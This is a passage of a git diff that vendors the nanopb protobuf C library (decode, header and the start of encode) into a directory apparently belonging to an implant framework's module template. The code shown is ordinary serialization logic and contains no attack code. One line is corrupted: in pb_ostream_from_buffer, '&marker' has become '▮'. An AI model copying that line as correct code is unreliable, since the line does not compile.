can only handle _one_ repeated fixed count field that + * is unpacked and unordered among other (non repeated fixed count) fields. + */ + pb_size_t fixed_count_field = PB_SIZE_MAX; + pb_size_t fixed_count_size = 0; + pb_size_t fixed_count_total_size = 0; + + pb_fields_seen_t fields_seen = {{0, 0}}; + const uint32_t allbits = ~(uint32_t)0; + pb_field_iter_t iter; + + if (pb_field_iter_begin(&iter, fields, dest_struct)) + { + if ((flags & PB_DECODE_NOINIT) == 0) + { + if (!pb_message_set_to_defaults(&iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + + while (stream->bytes_left) + { + uint32_t tag; + pb_wire_type_t wire_type; + bool eof; + + if (!pb_decode_tag(stream, &wire_type, &tag, &eof)) + { + if (eof) + break; + else + return false; + } + + if (tag == 0) + { + if (flags & PB_DECODE_NULLTERMINATED) + { + break; + } + else + { + PB_RETURN_ERROR(stream, "zero tag"); + } + } + + if (!pb_field_iter_find(&iter, tag) || PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* No match found, check if it matches an extension. */ + if (extension_range_start == 0) + { + if (pb_field_iter_find_extension(&iter)) + { + extensions = *(pb_extension_t* const *)iter.pData; + extension_range_start = iter.tag; + } + + if (!extensions) + { + extension_range_start = (uint32_t)-1; + } + } + + if (tag >= extension_range_start) + { + size_t pos = stream->bytes_left; + + if (!decode_extension(stream, tag, wire_type, extensions)) + return false; + + if (pos != stream->bytes_left) + { + /* The field was handled */ + continue; + } + } + + /* No match found, skip data */ + if (!pb_skip_field(stream, wire_type)) + return false; + continue; + } + + /* If a repeated fixed count field was found, get size from + * 'fixed_count_field' as there is no counter contained in the struct. + */ + if (PB_HTYPE(iter.type) == PB_HTYPE_REPEATED && iter.pSize == &iter.array_size) + { + if (fixed_count_field != iter.index) { + /* If the new fixed count field does not match the previous one, + * check that the previous one is NULL or that it finished + * receiving all the expected data. + */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + fixed_count_field = iter.index; + fixed_count_size = 0; + fixed_count_total_size = iter.array_size; + } + + iter.pSize = &fixed_count_size; + } + + if (PB_HTYPE(iter.type) == PB_HTYPE_REQUIRED + && iter.required_field_index < PB_MAX_REQUIRED_FIELDS) + { + uint32_t tmp = ((uint32_t)1 << (iter.required_field_index & 31)); + fields_seen.bitfield[iter.required_field_index >> 5] |= tmp; + } + + if (!decode_field(stream, wire_type, &iter)) + return false; + } + + /* Check that all elements of the last decoded fixed count field were present. */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + /* Check that all required fields were present. */ + { + pb_size_t req_field_count = iter.descriptor->required_field_count; + + if (req_field_count > 0) + { + pb_size_t i; + + if (req_field_count > PB_MAX_REQUIRED_FIELDS) + req_field_count = PB_MAX_REQUIRED_FIELDS; + + /* Check the whole words */ + for (i = 0; i < (req_field_count >> 5); i++) + { + if (fields_seen.bitfield[i] != allbits) + PB_RETURN_ERROR(stream, "missing required field"); + } + + /* Check the remaining bits (if any) */ + if ((req_field_count & 31) != 0) + { + if (fields_seen.bitfield[req_field_count >> 5] != + (allbits >> (uint_least8_t)(32 - (req_field_count & 31)))) + { + PB_RETURN_ERROR(stream, "missing required field"); + } + } + } + } + + return true; +} + +bool checkreturn pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + bool status; + + if ((flags & PB_DECODE_DELIMITED) == 0) + { + status = pb_decode_inner(stream, fields, dest_struct, flags); + } + else + { + pb_istream_t substream; + if (!pb_make_string_substream(stream, &substream)) + return false; + + status = pb_decode_inner(&substream, fields, dest_struct, flags); + + if (!pb_close_string_substream(stream, &substream)) + status = false; + } + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +bool checkreturn pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct) +{ + bool status; + + status = pb_decode_inner(stream, fields, dest_struct, 0); + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +#ifdef PB_ENABLE_MALLOC +/* Given an oneof field, if there has already been a field inside this oneof, + * release it before overwriting with a different one. */ +static bool pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field) +{ + pb_field_iter_t old_field = *field; + pb_size_t old_tag = *(pb_size_t*)field->pSize; /* Previous which_ value */ + pb_size_t new_tag = field->tag; /* New which_ value */ + + if (old_tag == 0) + return true; /* Ok, no old data in union */ + + if (old_tag == new_tag) + return true; /* Ok, old data is of same type => merge */ + + /* Release old data. The find can fail if the message struct contains + * invalid data. */ + if (!pb_field_iter_find(&old_field, old_tag)) + PB_RETURN_ERROR(stream, "invalid union tag"); + + pb_release_single_field(&old_field); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL to make sure it is valid + * even in case of error return. */ + *(void**)field->pField = NULL; + field->pData = NULL; + } + + return true; +} + +static void pb_release_single_field(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + if (*(pb_size_t*)field->pSize != field->tag) + return; /* This is not the current field in the union */ + } + + /* Release anything contained inside an extension or submsg. + * This has to be done even if the submsg itself is statically + * allocated. */ + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + /* Release fields from all extensions in the linked list */ + pb_extension_t *ext = *(pb_extension_t**)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + pb_release_single_field(&ext_iter); + } + ext = ext->next; + } + } + else if (PB_LTYPE_IS_SUBMSG(type) && PB_ATYPE(type) != PB_ATYPE_CALLBACK) + { + /* Release fields in submessage or submsg array */ + pb_size_t count = 1; + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + field->pData = *(void**)field->pField; + } + else + { + field->pData = field->pField; + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + count = *(pb_size_t*)field->pSize; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC && count > field->array_size) + { + /* Protect against corrupted _count fields */ + count = field->array_size; + } + } + + if (field->pData) + { + for (; count > 0; count--) + { + pb_release(field->submsg_desc, field->pData); + field->pData = (char*)field->pData + field->data_size; + } + } + } + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + if (PB_HTYPE(type) == PB_HTYPE_REPEATED && + (PB_LTYPE(type) == PB_LTYPE_STRING || + PB_LTYPE(type) == PB_LTYPE_BYTES)) + { + /* Release entries in repeated string or bytes array */ + void **pItem = *(void***)field->pField; + pb_size_t count = *(pb_size_t*)field->pSize; + for (; count > 0; count--) + { + pb_free(*pItem); + *pItem++ = NULL; + } + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* We are going to release the array, so set the size to 0 */ + *(pb_size_t*)field->pSize = 0; + } + + /* Release main pointer */ + pb_free(*(void**)field->pField); + *(void**)field->pField = NULL; + } +} + +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + pb_field_iter_t iter; + + if (!dest_struct) + return; /* Ignore NULL pointers, similar to free() */ + + if (!pb_field_iter_begin(&iter, fields, dest_struct)) + return; /* Empty message type */ + + do + { + pb_release_single_field(&iter); + } while (pb_field_iter_next(&iter)); +} +#else +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + /* Nothing to release without PB_ENABLE_MALLOC. */ + PB_UNUSED(fields); + PB_UNUSED(dest_struct); +} +#endif + +/* Field decoders */ + +bool pb_decode_bool(pb_istream_t *stream, bool *dest) +{ + uint32_t value; + if (!pb_decode_varint32(stream, &value)) + return false; + + *(bool*)dest = (value != 0); + return true; +} + +bool pb_decode_svarint(pb_istream_t *stream, pb_int64_t *dest) +{ + pb_uint64_t value; + if (!pb_decode_varint(stream, &value)) + return false; + + if (value & 1) + *dest = (pb_int64_t)(~(value >> 1)); + else + *dest = (pb_int64_t)(value >> 1); + + return true; +} + +bool pb_decode_fixed32(pb_istream_t *stream, void *dest) +{ + union { + uint32_t fixed32; + pb_byte_t bytes[4]; + } u; + + if (!pb_read(stream, u.bytes, 4)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint32_t*)dest = u.fixed32; +#else + *(uint32_t*)dest = ((uint32_t)u.bytes[0] << 0) | + ((uint32_t)u.bytes[1] << 8) | + ((uint32_t)u.bytes[2] << 16) | + ((uint32_t)u.bytes[3] << 24); +#endif + return true; +} + +#ifndef PB_WITHOUT_64BIT +bool pb_decode_fixed64(pb_istream_t *stream, void *dest) +{ + union { + uint64_t fixed64; + pb_byte_t bytes[8]; + } u; + + if (!pb_read(stream, u.bytes, 8)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint64_t*)dest = u.fixed64; +#else + *(uint64_t*)dest = ((uint64_t)u.bytes[0] << 0) | + ((uint64_t)u.bytes[1] << 8) | + ((uint64_t)u.bytes[2] << 16) | + ((uint64_t)u.bytes[3] << 24) | + ((uint64_t)u.bytes[4] << 32) | + ((uint64_t)u.bytes[5] << 40) | + ((uint64_t)u.bytes[6] << 48) | + ((uint64_t)u.bytes[7] << 56); +#endif + return true; +} +#endif + +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field) +{ + return pb_decode_bool(stream, (bool*)field->pData); +} + +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + pb_uint64_t value, clamped; + if (!pb_decode_varint(stream, &value)) + return false; + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_uint64_t)) + clamped = *(pb_uint64_t*)field->pData = value; + else if (field->data_size == sizeof(uint32_t)) + clamped = *(uint32_t*)field->pData = (uint32_t)value; + else if (field->data_size == sizeof(uint_least16_t)) + clamped = *(uint_least16_t*)field->pData = (uint_least16_t)value; + else if (field->data_size == sizeof(uint_least8_t)) + clamped = *(uint_least8_t*)field->pData = (uint_least8_t)value; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != value) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } + else + { + pb_uint64_t value; + pb_int64_t svalue; + pb_int64_t clamped; + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + { + if (!pb_decode_svarint(stream, &svalue)) + return false; + } + else + { + if (!pb_decode_varint(stream, &value)) + return false; + + /* See issue 97: Google's C++ protobuf allows negative varint values to + * be cast as int32_t, instead of the int64_t that should be used when + * encoding. Nanopb versions before 0.2.5 had a bug in encoding. In order to + * not break decoding of such messages, we cast <=32 bit fields to + * int32_t first to get the sign correct. + */ + if (field->data_size == sizeof(pb_int64_t)) + svalue = (pb_int64_t)value; + else + svalue = (int32_t)value; + } + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_int64_t)) + clamped = *(pb_int64_t*)field->pData = svalue; + else if (field->data_size == sizeof(int32_t)) + clamped = *(int32_t*)field->pData = (int32_t)svalue; + else if (field->data_size == sizeof(int_least16_t)) + clamped = *(int_least16_t*)field->pData = (int_least16_t)svalue; + else if (field->data_size == sizeof(int_least8_t)) + clamped = *(int_least8_t*)field->pData = (int_least8_t)svalue; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != svalue) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } +} + +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_bytes_array_t *dest; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + alloc_size = PB_BYTES_ARRAY_T_ALLOCSIZE(size); + if (size > alloc_size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_bytes_array_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "bytes overflow"); + dest = (pb_bytes_array_t*)field->pData; + } + + dest->size = (pb_size_t)size; + return pb_read(stream, dest->bytes, (size_t)size); +} + +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_byte_t *dest = (pb_byte_t*)field->pData; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size == (uint32_t)-1) + PB_RETURN_ERROR(stream, "size too large"); + + /* Space for null terminator */ + alloc_size = (size_t)(size + 1); + + if (alloc_size < size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_byte_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "string overflow"); + } + + dest[size] = 0; + + if (!pb_read(stream, dest, (size_t)size)) + return false; + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8((const char*)dest)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return true; +} + +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field) +{ + bool status = true; + bool submsg_consumed = false; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + /* Submessages can have a separate message-level callback that is called + * before decoding the message. Typically it is used to set callback fields + * inside oneofs. */ + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.decode) + { + status = callback->funcs.decode(&substream, field, &callback->arg); + + if (substream.bytes_left == 0) + { + submsg_consumed = true; + } + } + } + + /* Now decode the submessage contents */ + if (status && !submsg_consumed) + { + unsigned int flags = 0; + + /* Static required/optional fields are already initialized by top-level + * pb_decode(), no need to initialize them again. */ + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + PB_HTYPE(field->type) != PB_HTYPE_REPEATED) + { + flags = PB_DECODE_NOINIT; + } + + status = pb_decode_inner(&substream, field->submsg_desc, field->pData, flags); + } + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; +} + +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + if (size == 0) + { + /* As a special case, treat empty bytes string as all zeros for fixed_length_bytes. */ + memset(field->pData, 0, (size_t)field->data_size); + return true; + } + + if (size != field->data_size) + PB_RETURN_ERROR(stream, "incorrect fixed length bytes size"); + + return pb_read(stream, (pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest) +{ + uint_least8_t sign; + int exponent; + uint32_t mantissa; + uint64_t value; + union { float f; uint32_t i; } out; + + if (!pb_decode_fixed64(stream, &value)) + return false; + + /* Decompose input value */ + sign = (uint_least8_t)((value >> 63) & 1); + exponent = (int)((value >> 52) & 0x7FF) - 1023; + mantissa = (value >> 28) & 0xFFFFFF; /* Highest 24 bits */ + + /* Figure if value is in range representable by floats. */ + if (exponent == 1024) + { + /* Special value */ + exponent = 128; + mantissa >>= 1; + } + else + { + if (exponent > 127) + { + /* Too large, convert to infinity */ + exponent = 128; + mantissa = 0; + } + else if (exponent < -150) + { + /* Too small, convert to zero */ + exponent = -127; + mantissa = 0; + } + else if (exponent < -126) + { + /* Denormalized */ + mantissa |= 0x1000000; + mantissa >>= (-126 - exponent); + exponent = -127; + } + + /* Round off mantissa */ + mantissa = (mantissa + 1) >> 1; + + /* Check if mantissa went over 2.0 */ + if (mantissa & 0x800000) + { + exponent += 1; + mantissa &= 0x7FFFFF; + mantissa >>= 1; + } + } + + /* Combine fields */ + out.i = mantissa; + out.i |= (uint32_t)(exponent + 127) << 23; + out.i |= (uint32_t)sign << 31; + + *dest = out.f; + return true; +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.h new file mode 100644 index 0000000..3f392b2 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.h @@ -0,0 +1,204 @@ +/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c. + * The main function is pb_decode. You also need an input stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_DECODE_H_INCLUDED +#define PB_DECODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom input streams. You will need to provide + * a callback function to read the bytes from your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause decoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer), + * and rely on pb_read to verify that no-body reads past bytes_left. + * 3) Your callback may be used with substreams, in which case bytes_left + * is different than from the main stream. Don't use bytes_left to compute + * any pointers. + */ +struct pb_istream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + */ + int *callback; +#else + bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_istream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Maximum number of bytes left in this stream. Callback can report + * EOF before this limit is reached. Setting a limit is recommended + * when decoding directly from file or network streams to avoid + * denial-of-service by excessively long messages. + */ + size_t bytes_left; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +#ifndef PB_NO_ERRMSG +#define PB_ISTREAM_EMPTY {0,0,0,0} +#else +#define PB_ISTREAM_EMPTY {0,0,0} +#endif + +/*************************** + * Main decoding functions * + ***************************/ + +/* Decode a single protocol buffers message from input stream into a C structure. + * Returns true on success, false on any failure. + * The actual struct pointed to by dest must match the description in fields. + * Callback fields of the destination structure must be initialized by caller. + * All other fields will be initialized by this function. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_istream_t stream; + * + * // ... read some data into buffer ... + * + * stream = pb_istream_from_buffer(buffer, count); + * pb_decode(&stream, MyMessage_fields, &msg); + */ +bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct); + +/* Extended version of pb_decode, with several options to control + * the decoding process: + * + * PB_DECODE_NOINIT: Do not initialize the fields to default values. + * This is slightly faster if you do not need the default + * values and instead initialize the structure to 0 using + * e.g. memset(). This can also be used for merging two + * messages, i.e. combine already existing data with new + * values. + * + * PB_DECODE_DELIMITED: Input message starts with the message size as varint. + * Corresponds to parseDelimitedFrom() in Google's + * protobuf API. + * + * PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows + * reading null terminated messages. + * NOTE: Until nanopb-0.4.0, pb_decode() also allows + * null-termination. This behaviour is not supported in + * most other protobuf implementations, so PB_DECODE_DELIMITED + * is a better option for compatibility. + * + * Multiple flags can be combined with bitwise or (| operator) + */ +#define PB_DECODE_NOINIT 0x01U +#define PB_DECODE_DELIMITED 0x02U +#define PB_DECODE_NULLTERMINATED 0x04U +bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT) +#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED) +#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT) +#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED) + +/* Release any allocated pointer fields. If you use dynamic allocation, you should + * call this for any successfully decoded message when you are done with it. If + * pb_decode() returns with an error, the message is already released. + */ +void pb_release(const pb_msgdesc_t *fields, void *dest_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an input stream for reading from a memory buffer. + * + * msglen should be the actual length of the message, not the full size of + * allocated buffer. + * + * Alternatively, you can use a custom stream that reads directly from e.g. + * a file or a network socket. + */ +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen); + +/* Function to read from a pb_istream_t. You can use this if you need to + * read some custom header data, or to read data in field callbacks. + */ +bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Decode the tag for the next field in the stream. Gives the wire type and + * field tag. At end of the message, returns false and sets eof to true. */ +bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof); + +/* Skip the field payload data, given the wire type. */ +bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type); + +/* Decode an integer in the varint format. This works for enum, int32, + * int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest); +#else +#define pb_decode_varint pb_decode_varint32 +#endif + +/* Decode an integer in the varint format. This works for enum, int32, + * and uint32 field types. */ +bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest); + +/* Decode a bool value in varint format. */ +bool pb_decode_bool(pb_istream_t *stream, bool *dest); + +/* Decode an integer in the zig-zagged svarint format. This works for sint32 + * and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest); +#else +bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest); +#endif + +/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to + * a 4-byte wide C variable. */ +bool pb_decode_fixed32(pb_istream_t *stream, void *dest); + +#ifndef PB_WITHOUT_64BIT +/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to + * a 8-byte wide C variable. */ +bool pb_decode_fixed64(pb_istream_t *stream, void *dest); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Decode a double value into float variable. */ +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest); +#endif + +/* Make a limited-length substream for reading a PB_WT_STRING field. */ +bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream); +bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.c b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.c new file mode 100644 index 0000000..f9034a5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.c @@ -0,0 +1,1001 @@ +/* pb_encode.c -- encode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +#include "pb.h" +#include "pb_encode.h" +#include "pb_common.h" + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +/************************************** + * Declarations internal to this file * + **************************************/ +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field); +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension); +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high); +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +/******************************* + * pb_ostream_t implementation * + *******************************/ + +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + pb_byte_t *dest = (pb_byte_t*)stream->state; + stream->state = dest + count; + + memcpy(dest, buf, count * sizeof(pb_byte_t)); + + return true; +} + +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize) +{ + pb_ostream_t stream; +#ifdef PB_BUFFER_ONLY + /* In PB_BUFFER_ONLY configuration the callback pointer is just int*. + * NULL pointer marks a sizing field, so put a non-NULL value to mark a buffer stream. + */ + static const int marker = 0; + stream.callback = ▮ +#else + stream.callback = &buf_write; +#endif + stream.state = buf; + stream.max_size = bufsize; + stream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +bool checkreturn pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + if (count > 0 && stream->callback != NULL) + { + if (stream->bytes_written + count < stream->bytes_written || + stream->bytes_written + count > stream->max_size) + { + PB_RETURN_ERROR(stream, "stream full"); + } + +#ifdef PB_BUFFER_ONLY + if (!buf_write(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#endif + } + + stream->bytes_written += count; + return true; +} + +/************************* + * Encode a single field * + *************************/ + +/* Read a bool value without causing undefined behavior even if the value + * is invalid. See issue #434 and + * https://stackoverflow.com/questions/27661768/weird-results-for-conditional + */ +static bool safe_read_bool(const void *pSize) +{ + const char *p = (const char *)pSize; + size_t i; + for (i = 0; i < sizeof(bool); i++) + { + if (p[i] != 0) + return true; + } + return false; +} + +/* Encode a static array. Handles the size calculations and possible packing. */ +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field) +{ + pb_size_t i; + pb_size_t count; +#ifndef PB_ENCODE_ARRAYS_UNPACKED + size_t size; +#endif + + count = *(pb_size_t*)field->pSize; + + if (count == 0) + return true; + + if (PB_ATYPE(field->type) != PB_ATYPE_POINTER && count > field->array_size) + PB_RETURN_ERROR(stream, "array max size exceeded"); + +#ifndef PB_ENCODE_ARRAYS_UNPACKED + /* We always pack arrays if the datatype allows it. */ + if (PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + if (!pb_encode_tag(stream, PB_WT_STRING, field->tag)) + return false; + + /* Determine the total size of packed array. */ + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32) + { + size = 4 * (size_t)count; + } + else if (PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + size = 8 * (size_t)count; + } + else + { + pb_ostream_t sizestream = PB_OSTREAM_SIZING; + void *pData_orig = field->pData; + for (i = 0; i < count; i++) + { + if (!pb_enc_varint(&sizestream, field)) + PB_RETURN_ERROR(stream, PB_GET_ERROR(&sizestream)); + field->pData = (char*)field->pData + field->data_size; + } + field->pData = pData_orig; + size = sizestream.bytes_written; + } + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing.. */ + + /* Write the data */ + for (i = 0; i < count; i++) + { + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32 || PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + if (!pb_enc_fixed(stream, field)) + return false; + } + else + { + if (!pb_enc_varint(stream, field)) + return false; + } + + field->pData = (char*)field->pData + field->data_size; + } + } + else /* Unpacked fields */ +#endif + { + for (i = 0; i < count; i++) + { + /* Normally the data is stored directly in the array entries, but + * for pointer-type string and bytes fields, the array entries are + * actually pointers themselves also. So we have to dereference once + * more to get to the actual data. */ + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER && + 